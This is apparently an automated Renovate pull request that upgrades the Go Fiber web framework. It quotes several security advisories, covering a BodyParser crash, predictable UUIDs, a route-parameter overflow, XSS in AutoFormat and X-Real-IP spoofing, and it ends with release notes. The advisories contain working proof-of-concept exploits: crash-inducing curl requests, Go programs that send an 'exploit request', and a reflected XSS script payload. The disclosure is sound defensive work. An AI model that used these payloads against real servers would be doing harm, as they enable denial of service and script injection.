[renovate]

This PR contains the following updates:

Package	Change	Age	Confidence
github.com/gofiber/fiber/v2	v2.52.5 → v2.52.14

---

Fiber Crashes in BodyParser Due to Unvalidated Large Slice Index in Decoder

CVE-2025-54801 / GHSA-qx2q-88mx-vhg7

More information

Details

Description

When using Fiber's Ctx.BodyParser to parse form data containing a large numeric key that represents a slice index (e.g., test.18446744073704), the application crashes due to an out-of-bounds slice allocation in the underlying schema decoder.

The root cause is that the decoder attempts to allocate a slice of length idx + 1 without validating whether the index is within a safe or reasonable range. If idx is excessively large, this leads to an integer overflow or memory exhaustion, causing a panic or crash.

Steps to Reproduce

Create a POST request handler that accepts x-www-form-urlencoded data

package main

import (
	"fmt"
	"net/http"

	"github.com/gofiber/fiber/v2"
)

type RequestBody struct {
	NestedContent []*struct{} `form:"test"`
}

func main() {
	app := fiber.New()

	app.Post("/", func(c *fiber.Ctx) error {
		formData := RequestBody{}
		if err := c.BodyParser(&formData); err != nil {
			fmt.Println(err)
			return c.SendStatus(http.StatusUnprocessableEntity)
		}
		return nil
	})

	fmt.Println(app.Listen(":3000"))
}

Run the server and send a POST request with a large numeric key in form data, such as:

curl -v -X POST localhost:3000 --data-raw 'test.18446744073704' \
  -H 'Content-Type: application/x-www-form-urlencoded'

Relevant Code Snippet

Within the decoder's decode method:

idx := parts[0].index
if v.IsNil() || v.Len() < idx+1 {
    value := reflect.MakeSlice(t, idx+1, idx+1)  // <-- Panic/crash occurs here when idx is huge
    if v.Len() < idx+1 {
        reflect.Copy(value, v)
    }
    v.Set(value)
}

The idx is not validated before use, leading to unsafe slice allocation for extremely large values.

---

Impact

• Application panic or crash on malicious or malformed input.
• Potential denial of service (DoS) via memory exhaustion or server crash.
• Lack of defensive checks in the parsing code causes instability.

Severity

• CVSS Score: 8.7 / 10 (High)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

References

• https://github.com/gofiber/fiber/security/advisories/GHSA-qx2q-88mx-vhg7
• https://github.com/gofiber/fiber/commit/e115c08b8f059a4a031b492aa9eef0712411853d
• https://nvd.nist.gov/vuln/detail/CVE-2025-54801
• https://github.com/advisories/GHSA-qx2q-88mx-vhg7

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Fiber has an insecure fallback in utils.UUIDv4() / utils.UUID() — predictable / zero‑UUID on crypto/rand failure

CVE-2025-66630 / GHSA-68rr-p4fp-j59v

More information

Details

Fiber v2 contains an internal vendored copy of gofiber/utils, and its functions UUIDv4() and UUID() inherit the same critical weakness described in the upstream advisory. On Go versions prior to 1.24, the underlying crypto/rand implementation can return an error if secure randomness cannot be obtained. In such cases, these Fiber v2 UUID functions silently fall back to generating predictable values — the all-zero UUID 00000000-0000-0000-0000-000000000000.

On Go 1.24+, the language guarantees that crypto/rand no longer returns an error (it will block or panic instead), so this vulnerability primarily affects Fiber v2 users running Go 1.23 or earlier, which Fiber v2 officially supports.

Because no error is returned by the Fiber v2 UUID functions, application code may unknowingly rely on predictable, repeated, or low-entropy identifiers in security-critical pathways. This is especially impactful because many Fiber v2 middleware components (session middleware, CSRF, rate limiting, request-ID generation, etc.) default to using utils.UUIDv4().

Impact includes, but is not limited to:

• Session fixation or hijacking (predictable session IDs)
• CSRF token forgery or bypass
• Authentication replay / token prediction
• Potential denial-of-service (DoS): if the zero UUID is generated, key-based structures (sessions, rate-limits, caches, CSRF stores) may collapse into a single shared key, causing overwrites, lock contention, or state corruption
• Request-ID collisions, undermining logging and trace integrity
• General compromise of confidentiality, integrity, and authorization logic relying on UUIDs for uniqueness or secrecy

All Fiber v2 versions containing the internal utils.UUIDv4() / utils.UUID() implementation are affected when running on Go <1.24. No patched Fiber v2 release currently exists.

---

Suggested Mitigations / Workarounds

Update to the latest version of Fiber v2.

---

Likelihood / Environmental Factors

It’s important to note that entropy exhaustion on modern Linux systems is extremely rare, as the kernel’s CSPRNG is resilient and non-blocking. However, entropy-source failures — where crypto/rand cannot read from its underlying provider — are significantly more likely in certain environments.

This includes containerized deployments, restricted sandboxes, misconfigured systems lacking read access to /dev/urandom or platform-equivalent sources, chrooted or jailed environments, embedded devices, or systems with non-standard or degraded randomness providers. On Go <1.24, such failures cause crypto/rand to return an error, which the Fiber v2 UUID functions currently treat as a signal to silently generate predictable UUIDs, including the zero UUID. This silent fallback is the root cause of the vulnerability.

---

References

• Upstream advisory for gofiber/utils: GHSA-m98w-cqp3-qcqr

• Source repositories:

  • github.com/gofiber/fiber
  • github.com/gofiber/utils

---

Credits / Reporter

Reported by @​sixcolors (Fiber Maintainer / Security Team)

Severity

• CVSS Score: 9.2 / 10 (Critical)
• Vector String: CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N

References

• https://github.com/gofiber/fiber/security/advisories/GHSA-68rr-p4fp-j59v
• https://github.com/gofiber/fiber/commit/eb874b6f6c5896b968d9b0ab2b56ac7052cb0ee1
• https://nvd.nist.gov/vuln/detail/CVE-2025-66630
• https://github.com/gofiber/fiber/releases/tag/v2.52.11
• https://github.com/advisories/GHSA-68rr-p4fp-j59v

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Fiber has a Denial of Service Vulnerability via Route Parameter Overflow

CVE-2026-25882 / GHSA-mrq8-rjmw-wpq3

More information

Details

A denial of service vulnerability exists in Fiber v2 and v3 that allows remote attackers to crash the application by sending requests to routes with more than 30 parameters. The vulnerability results from missing validation during route registration combined with an unbounded array write during request matching.

Affected Versions

• Fiber v3.0.0-rc.3 and earlier v3 releases
• Fiber v2.52.10 and potentially all v2 releases (confirmed exploitable)
• Both versions share the same vulnerable routing implementation

Vulnerability Details

Root Cause

Both Fiber v2 and v3 define a fixed-size parameter array in ctx.go:

const maxParams = 30

type DefaultCtx struct {
    values [maxParams]string  // Fixed 30-element array
    // ...
}

The router.go register() function accepts routes without validating parameter count. When a request matches a route exceeding 30 parameters, the code in path.go performs an unbounded write:

• v3: path.go:514
• v2: path.go:516

// path.go:514 - NO BOUNDS CHECKING
params[paramsIterator] = path[:i]

When paramsIterator >= 30, this triggers:

panic: runtime error: index out of range [30] with length 30

Attack Scenario

1. Application registers route with >30 parameters (e.g., via code or dynamic routing):

   app.Get("/api/:p1/:p2/:p3/.../p35", handler)

2. Attacker sends matching HTTP request:

   curl http://target/api/v1/v2/v3/.../v35

3. Server crashes during request processing with runtime panic

Proof of Concept

For Fiber v3

package main

import (
	"fmt"
	"net/http"
	"time"
	"github.com/gofiber/fiber/v3"
)

func main() {
	app := fiber.New()
	
	// Register route with 35 parameters (exceeds maxParams=30)
	path := "/test"
	for i := 1; i <= 35; i++ {
		path += fmt.Sprintf("/:p%d", i)
	}
	
	fmt.Printf("Registering route: %s...\n", path[:50]+"...")
	app.Get(path, func(c fiber.Ctx) error {
		return c.SendString("Never reached")
	})
	fmt.Println("✓ Registration succeeded (NO PANIC)")
	
	go func() {
		app.Listen(":9999")
	}()
	time.Sleep(200 * time.Millisecond)
	
	// Build exploit URL with 35 parameter values
	url := "http://localhost:9999/test"
	for i := 1; i <= 35; i++ {
		url += fmt.Sprintf("/v%d", i)
	}
	
	fmt.Println("\n🔴 Sending exploit request...")
	fmt.Println("Expected: panic at path.go:514 params[paramsIterator] = path[:i]\n")
	
	resp, err := http.Get(url)
	if err != nil {
		fmt.Printf("✗ Request failed: %v\n", err)
		fmt.Println("💥 Server crashed!")
	} else {
		fmt.Printf("Response: %d\n", resp.StatusCode)
		resp.Body.Close()
	}
}

Output:

Registering route: /test/:p1/:p2/:p3/:p4/:p5/:p6/:p7/:p8/:p9/:p10...
✓ Registration succeeded (NO PANIC)

🔴 Sending exploit request...
Expected: panic at path.go:514 params[paramsIterator] = path[:i]

panic: runtime error: index out of range [30] with length 30

goroutine 40 [running]:
github.com/gofiber/fiber/v3.(*routeParser).getMatch(...)
	/path/to/fiber/path.go:514
github.com/gofiber/fiber/v3.(*Route).match(...)
	/path/to/fiber/router.go:89
github.com/gofiber/fiber/v3.(*App).next(...)
	/path/to/fiber/router.go:142

For Fiber v2

package main

import (
	"fmt"
	"net/http"
	"time"
	"github.com/gofiber/fiber/v2"
)

func main() {
	app := fiber.New()
	
	// Register route with 35 parameters (exceeds maxParams=30)
	path := "/test"
	for i := 1; i <= 35; i++ {
		path += fmt.Sprintf("/:p%d", i)
	}
	
	fmt.Printf("Registering route: %s...\n", path[:50]+"...")
	app.Get(path, func(c *fiber.Ctx) error {
		return c.SendString("Never reached")
	})
	fmt.Println("✓ Registration succeeded (NO PANIC)")
	
	go func() {
		app.Listen(":9998")
	}()
	time.Sleep(200 * time.Millisecond)
	
	// Build exploit URL with 35 parameter values
	url := "http://localhost:9998/test"
	for i := 1; i <= 35; i++ {
		url += fmt.Sprintf("/v%d", i)
	}
	
	fmt.Println("\n🔴 Sending exploit request...")
	fmt.Println("Expected: panic at path.go:516 params[paramsIterator] = path[:i]\n")
	
	resp, err := http.Get(url)
	if err != nil {
		fmt.Printf("✗ Request failed: %v\n", err)
		fmt.Println("💥 Server crashed!")
	} else {
		fmt.Printf("Response: %d\n", resp.StatusCode)
		resp.Body.Close()
	}
}

Output (v2):

Registering route: /test/:p1/:p2/:p3/:p4/:p5/:p6/:p7/:p8/:p9/:p10...
✓ Registration succeeded (NO PANIC)

🔴 Sending exploit request...
Expected: panic at path.go:516 params[paramsIterator] = path[:i]

panic: runtime error: index out of range [30] with length 30

goroutine 40 [running]:
github.com/gofiber/fiber/v2.(*routeParser).getMatch(...)
	/path/to/fiber/v2@v2.52.10/path.go:512
github.com/gofiber/fiber/v2.(*Route).match(...)
	/path/to/fiber/v2@v2.52.10/router.go:84
github.com/gofiber/fiber/v2.(*App).next(...)
	/path/to/fiber/v2@v2.52.10/router.go:127

Impact

Exploitation Requirements

• No authentication required
• Single HTTP request triggers crash
• Trivially scriptable for sustained DoS
• Works against any route with >30 parameters

Real-World Impact

• Public APIs: Remote DoS attacks on vulnerable endpoints
• Microservices: Cascade failures if vulnerable service is critical
• Auto-scaling: Repeated crashes prevent proper recovery
• Monitoring: Log flooding and alert fatigue

Likelihood

HIGH - Exploitation requires only:

• Knowledge of route structure (often public in APIs)
• Standard HTTP client (curl, browser, etc.)
• Single malformed request

Workarounds

Until patched, users should:

1. Audit Routes: Ensure all routes have ≤30 parameters

   # Search for potential issues
   grep -r "/:.*/:.*/:.*" . | grep -v node_modules

2. Disable Dynamic Routing: If programmatically registering routes, validate parameter count:

   paramCount := strings.Count(route, ":")
   if paramCount > 30 {
       log.Fatal("Route exceeds maxParams")
   }

3. Rate Limiting: Deploy aggressive rate limiting to mitigate DoS impact

4. Monitoring: Alert on panic patterns in application logs

Timeline

• 2024-12-24: Vulnerability discovered in v3 during PR #​3962 review
• 2024-12-25: Proof of concept confirmed exploitability in v3
• 2024-12-25: Vulnerability confirmed to also exist in v2 (same root cause)
• 2024-12-25: Security advisory created

References

• v3 Related PR: https://github.com/gofiber/fiber/pull/3962 (UpdateParam feature with defensive checks, doesn't fix root cause)
• Vulnerable Code Locations:
  • v3: path.go:514
  • v2: path.go:516

Credit

Discovered by: @​sixcolors (Fiber maintainer) and @​TheAspectDev

Severity

• CVSS Score: 6.9 / 10 (Medium)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P

References

• https://github.com/gofiber/fiber/security/advisories/GHSA-mrq8-rjmw-wpq3
• https://github.com/gofiber/fiber/pull/3962
• https://github.com/gofiber/fiber/blob/main/path.go#L514
• https://github.com/gofiber/fiber/blob/v2/path.go#L516
• https://nvd.nist.gov/vuln/detail/CVE-2026-25882
• https://pkg.go.dev/vuln/GO-2026-4543
• https://github.com/advisories/GHSA-mrq8-rjmw-wpq3

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Fiber vulnerable to XSS in AutoFormat Content Negotiation

CVE-2026-42554 / GHSA-qjv7-627w-8qjv

More information

Details

Summary

Description

A Cross-Site Scripting (CWE-79) vulnerability in Go Fiber allows a remote attacker to inject arbitrary HTML/JavaScript by supplying Accept: text/html on any request whose handler passes attacker-influenced data to the AutoFormat() feature. This affects github.com/gofiber/fiber/v3 (DefaultRes.AutoFormat) through version 3.1.0 and github.com/gofiber/fiber/v2 (Ctx.Format) through version 2.52.12.

The developer opts into content negotiation by calling AutoFormat(), but does not opt into raw HTML emission for a particular request; Fiber chooses that branch from attacker-controlled Accept. Five of the six branches of the same method already escape. JSON, XML, MsgPack, and CBOR all route through encoders that neutralize markup; the txt branch emits text/plain and cannot execute. The html branch is the sole outlier in a method whose name (AutoFormat) and symmetrical structure actively telegraph "safe, format-agnostic reply."

Details

The issue resides in res.go within (*DefaultRes).AutoFormat(). The method negotiates against the request Accept header, selects one of html | json | txt | xml | msgpack | cbor, and serializes the caller-supplied body accordingly.

The "html" branch concatenates the stringified body directly into HTML markup with no output encoding:

• accept comes from r.c.Accepts(...), i.e. is fully attacker-controlled. An attacker can force the "html" branch on any AutoFormat() call regardless of which format the developer tested against.
• b is produced from body via direct assignment (string / []byte) or fmt.Sprintf("%v", body). No html.EscapeString is applied.
• The resulting string is sent as text/html; charset=utf-8, so browsers render it as active HTML.

// res.go
func (r *DefaultRes) AutoFormat(body any) error {

    accept := r.c.DefaultReq.Accepts("html", "json", "txt", "xml", "msgpack", "cbor")

    r.Type(accept)
    var b string
    switch val := body.(type) {
    case string:
        b = val
    case []byte:
        b = r.c.app.toString(val)
    default:
        b = fmt.Sprintf("%v", val)
    }

    switch accept {
    case "txt":
        return r.SendString(b)
    case "json":
        return r.JSON(body)
    case "xml":
        return r.XML(body)
    case "html":
        return r.SendString("<p>" + b + "</p>")
    case "msgpack":
        return r.MsgPack(body)
    case "cbor":
        return r.CBOR(body)
    }
    return r.SendString(b)
}

Impact

This impacts all current v3 releases ≤ 3.1.0 containing DefaultRes.AutoFormat, and all current v2 releases ≤ 2.52.12 where the identical "<p>" + b + "</p>" construction exists in (*Ctx).Format(). Exploitation requires that an application call c.AutoFormat(v) where v (or a field stringified by %v) contains request-influenced data.

A handler that uses AutoFormat() to serve multiple representations of the same data can be turned into an HTML XSS sink when the client sends Accept: text/html, even if the developer only tested the JSON path.

This may result in:

• Reflected XSS in the application's origin via any request-derived value reaching AutoFormat.
• Stored XSS where the reflected value originates from persisted input later passed to AutoFormat.

Proposed Patch

The injection surface is r.Type("html") followed by r.SendString(b) with unescaped caller data, where it constructs markup on the caller's behalf around a value whose HTML-ness the caller did not declare. A few options:

• AutoFormat() should treat body as data, not markup, in the "html" branch and escape it before concatenating it into the framework-generated <p> wrapper. Callers that need raw negotiated HTML should use Format() with an explicit HTML handler.
• Introduce a sibling method that escapes, leave AutoFormat alone for backward compatibility.

HTML-escape the value in the "html" branch before concatenating it into the <p> wrapper.

import "html"

// ...
case "html":
    return r.SendString("<p>" + html.EscapeString(b) + "</p>")

html.EscapeString escapes <, >, &, ', ", which is sufficient for an element-text context. Apply the same change to v2's (*Ctx).Format().

Proof of Concept

##### Create project directory
mkdir fiber-xss-poc && cd fiber-xss-poc

##### Initialize Go module
go mod init fiber-xss-poc

##### Install Fiber v3
go get github.com/gofiber/fiber/v3

##### Create the PoC file
cat > main.go << 'EOF'
package main

import (
	"github.com/gofiber/fiber/v3"
)

type User struct {
	ID   int    `json:"id"`
	Name string `json:"name"`
}

func main() {
	app := fiber.New()
	
	app.Get("/api/user", func(c fiber.Ctx) error {
		user := User{
			ID:   1,
			Name: c.Query("name", "anonymous"),
		}
		return c.AutoFormat(user)
	})

	app.Listen(":3000")
}
EOF

##### Run it
go run main.go
}

Benign JSON

curl -s 'http://127.0.0.1:3000/api/user?name=Alice' -H 'Accept: application/json'
{"id":1,"name":"Alice"}

HTML sink enables XSS

curl -s 'http://127.0.0.1:3000/api/user?name=<script>alert(document.domain)</script>' -H 'Accept: text/html'
<p>{1 <script>alert(document.domain)</script>}</p>

Severity

• CVSS Score: 5.3 / 10 (Medium)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

References

• https://github.com/gofiber/fiber/security/advisories/GHSA-qjv7-627w-8qjv
• https://nvd.nist.gov/vuln/detail/CVE-2026-42554
• https://github.com/advisories/GHSA-qjv7-627w-8qjv

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

GoFiber Vulnerable to X-Real-IP Spoofing via Header.Add() in BalancerForward

CVE-2026-45045 / GHSA-gcfq-8gqf-4876

More information

Details

Summary

The BalancerForward proxy helper in GoFiber uses Header.Add() instead of Header.Set() when injecting the X-Real-IP header. This appends the real client IP as a second header value rather than replacing any attacker-supplied value. Upstream servers that read the first X-Real-IP header (nginx, Express, most HTTP servers) use the attacker's spoofed IP for logging, rate limiting, and access control.

Vulnerable Code

File: middleware/proxy/proxy.go, lines 270-285

func BalancerForward(servers []string, clients ...*fasthttp.Client) fiber.Handler {
    r := &roundrobin{
        current: 0,
        pool:    servers,
    }
    return func(c fiber.Ctx) error {
        server := r.get()
        if !strings.HasPrefix(server, "http") {
            server = "http://" + server
        }
        c.Request().Header.Add("X-Real-IP", c.IP())   // line 282: Add, not Set
        return Do(c, server+c.OriginalURL(), clients...)
    }
}

Data Flow

1. Attacker sends request with X-Real-IP: 10.0.0.1 (spoofed internal IP)
2. BalancerForward handler executes at line 282
3. c.Request().Header.Add("X-Real-IP", c.IP()) APPENDS the real IP as a second header
4. Upstream server receives: X-Real-IP: 10.0.0.1 AND X-Real-IP: <real-attacker-ip>
5. Most HTTP servers (nginx, Node.js, Apache) read the FIRST value
6. Upstream uses 10.0.0.1 for all IP-dependent logic

Impact

• Rate limit bypass: IP-based rate limiting at the upstream uses the spoofed IP, allowing unlimited requests
• IP ACL bypass: Internal IP allowlists (e.g., admin panels restricted to 10.0.0.0/8) can be bypassed
• Audit log poisoning: Security logs record the spoofed IP, making incident investigation unreliable
• Geolocation bypass: IP-based geofencing or region restrictions are circumvented

Fix

Replace Header.Add() with Header.Set() at line 282:

c.Request().Header.Set("X-Real-IP", c.IP())

Header.Set() replaces any existing header value, ensuring only the real client IP is forwarded.

Severity

• CVSS Score: 5.3 / 10 (Medium)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

References

• https://github.com/gofiber/fiber/security/advisories/GHSA-gcfq-8gqf-4876
• https://nvd.nist.gov/vuln/detail/CVE-2026-45045
• https://github.com/gofiber/fiber/pull/4260
• https://github.com/gofiber/fiber/pull/4495
• https://github.com/gofiber/fiber/commit/1403cc8292da3220e9316960b4030cc722a0f396
• https://github.com/gofiber/fiber/commit/33c9501288ab47a429c8b5e701493f0c3c0af37d
• https://github.com/gofiber/fiber/releases/tag/v2.52.14
• https://github.com/gofiber/fiber/releases/tag/v3.3.0
• https://github.com/advisories/GHSA-gcfq-8gqf-4876

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Release Notes

gofiber/fiber (github.com/gofiber/fiber/v2)

v2.52.14

Compare Source

What's Changed

🐛 Bug Fixes

• backport BalancerForward X-Real-IP overwrite fix to v2 by @​terraincognita07 in #​4495

New Contributors

• @​terraincognita07 made their first contribution

Full Changelog: gofiber/fiber@v2.52.13...v2.52.14

v2.52.13

Compare Source

What's Changed

🐛 Bug Fixes

• Escape HTML output in Ctx.Format by @​gaby in #​4232

Full Changelog: gofiber/fiber@v2.52.12...v2.52.13

v2.52.12

Compare Source

🐛 Fixes

• CVE fix GHSA-mrq8-rjmw-wpq3

Full Changelog: gofiber/fiber@v2.52.11...v2.52.12

v2.52.11

Compare Source

What's Changed

🧹 Updates

• Improve mount functionality by @​gaby in #​3900

🐛 Bug Fixes

• Backport defensive copying fixes from #​3828 and #​3829 to v2 by @​sixcolors in #​3888
• Fixes and improvements for limiter middleware by @​gaby in #​3899

Full Changelog: gofiber/fiber@v2.52.10...v2.52.11

v2.52.10

Compare Source

🐛 Bug Fixes

• Handle invalid path in filesystem by @​rokostik in #​3688
• Fix recover middleware panic output formatting by @​ReneWerner87 in #​3818
• Fix enforcement of Immutable config for some edge cases by @​gaby in #​3835

📚 Documentation

• Document RoutePatternMatch by @​ReneWerner87 in #​3723

New Contributors

• @​rokostik made their first contribution in #​3688

Full Changelog: gofiber/fiber@v2.52.9...v2.52.10

v2.52.9

Compare Source

🐛 Bug Fixes

• Add upper index limit for parsers by @​gaby in #​3503
• Embedded struct parsing by @​ReneWerner87 in #​3478
• Fix Content-Type comparison in Is() by @​gaby in #​3537
• Fix MIME type equality checks by @​gaby in #​3603

Full Changelog: gofiber/fiber@v2.52.8...v2.52.9

v2.52.8

Compare Source

👮 Security

• Fix for BodyParser - GHSA-hg3g-gphw-5hhm

🧹 Updates

• Backport ctx.String() from v3 by @​gaby in #​3294

🐛 Bug Fixes

• Fix routing with mount and static by @​ReneWerner87 in #​3454

📚 Documentation

• Update usage of ctx.Redirect() by @​andradei in #​3417
• Add AGENTS.md by @​gaby in #​3461

Full Changelog: gofiber/fiber@v2.52.6...v2.52.8

v2.52.7

Compare Source

v2.52.6

Compare Source

🐛 Bug Fixes

• Use Content-Length for bytesReceived and bytesSent tags in Logger Middleware in v2 by @​gaby in #​3067
• Fix handle un-matched open brackets in the query params by @​dojutsu-user in #​3121
• Middleware/CORS: Remove Scheme Restriction by @​zingi in #​3168
• Respect Immutable config for Body() by @​nickajacks1 in #​3246
• Support Square Bracket Notation in Multipart Form data by @​ReneWerner87 in #​3268

📚 Documentation

• Add detailed documentation for the templates guide by @​grivera64 in #​3113

🛠️ Maintenance

• Update benchmark-action to v1.20.3 by @​gaby in #​3084
• Add CODEOWNERS file by @​gaby in #​3124
• Update dependencies by @​gaby in #​3254
• Add parallel benchmark for Next() by @​gaby in #​3259

Full Changelog: gofiber/fiber@v2.52.5...v2.52.6

---

Configuration

📅 Schedule: (UTC)

• Branch creation
  • At any time (no schedule defined)
• Automerge
  • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

---

• If you want to rebase/retry this PR, check this box

---

This PR was generated by Mend Renovate. View the repository job log.

[renovate]

ℹ Artifact update notice

File name: go.mod

In order to perform the update(s) described in the table above, Renovate ran the go get command, which resulted in the following additional change(s):

• 7 additional dependencies were updated

Details:

Package	Change
github.com/andybalholm/brotli	v1.0.5 -> v1.1.0
github.com/google/uuid	v1.5.0 -> v1.6.0
github.com/klauspost/compress	v1.17.0 -> v1.17.9
github.com/mattn/go-runewidth	v0.0.15 -> v0.0.16
github.com/philhofer/fwd	v1.1.2 -> v1.1.3-0.20240916144458-20a13a1f6b7c
github.com/tinylib/msgp	v1.1.8 -> v1.2.5
golang.org/x/sys	v0.17.0 -> v0.28.0

[renovate]

ℹ️ Artifact update notice

File name: go.mod

In order to perform the update(s) described in the table above, Renovate ran the go get command, which resulted in the following additional change(s):

• 7 additional dependencies were updated

Details:

Package	Change
github.com/andybalholm/brotli	v1.0.5 -> v1.1.0
github.com/google/uuid	v1.5.0 -> v1.6.0
github.com/klauspost/compress	v1.17.0 -> v1.17.9
github.com/mattn/go-runewidth	v0.0.15 -> v0.0.16
github.com/philhofer/fwd	v1.1.2 -> v1.1.3-0.20240916144458-20a13a1f6b7c
github.com/tinylib/msgp	v1.1.8 -> v1.2.5
golang.org/x/sys	v0.17.0 -> v0.28.0